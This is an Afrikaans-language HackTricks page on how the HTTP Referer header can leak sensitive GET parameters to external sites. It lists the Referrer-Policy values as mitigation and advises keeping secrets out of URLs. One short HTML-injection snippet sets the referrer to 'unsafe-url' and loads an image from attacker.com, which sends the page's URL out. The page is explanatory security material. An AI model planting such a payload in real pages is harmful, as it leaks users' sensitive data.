hacktricks/interesting-http.md

{% hint style="success" %} Leer en oefen AWS-hacking: HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer en oefen GCP-hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Controleer die inskrywingsplanne!
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.

{% endhint %}

Verwysingskoppe en beleid

Verwysers is die kop wat deur webblaaie gebruik word om aan te dui watter die vorige besoekte bladsy was.

Sensitiewe inligting uitgelek

Indien op enige oomblik binne 'n webbladsy enige sensitiewe inligting op 'n GET-versoekparameters geleë is, as die bladsy skakels na eksterne bronne bevat of 'n aanvaller in staat is om die gebruiker te laat 'n URL besoek wat deur die aanvaller beheer word. Dit kan die sensitiewe inligting binne die laaste GET-versoek uitlek.

Versagting

Jy kan die blaaier laat 'n Verwysingsbeleid volg wat die sensitiewe inligting kan verhoed om na ander webtoepassings gestuur te word:

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Teenmaatreël

Jy kan hierdie reël oorskryf deur 'n HTML meta-tag te gebruik (die aanvaller moet 'n HTML-inspuiting uitbuit):

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

Verdediging

Moenie enige sensitiewe data binne GET parameters of paaie in die URL plaas nie.

{% hint style="success" %} Leer & oefen AWS Hack: HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hack: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kontroleer die inskrywingsplanne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.

{% endhint %}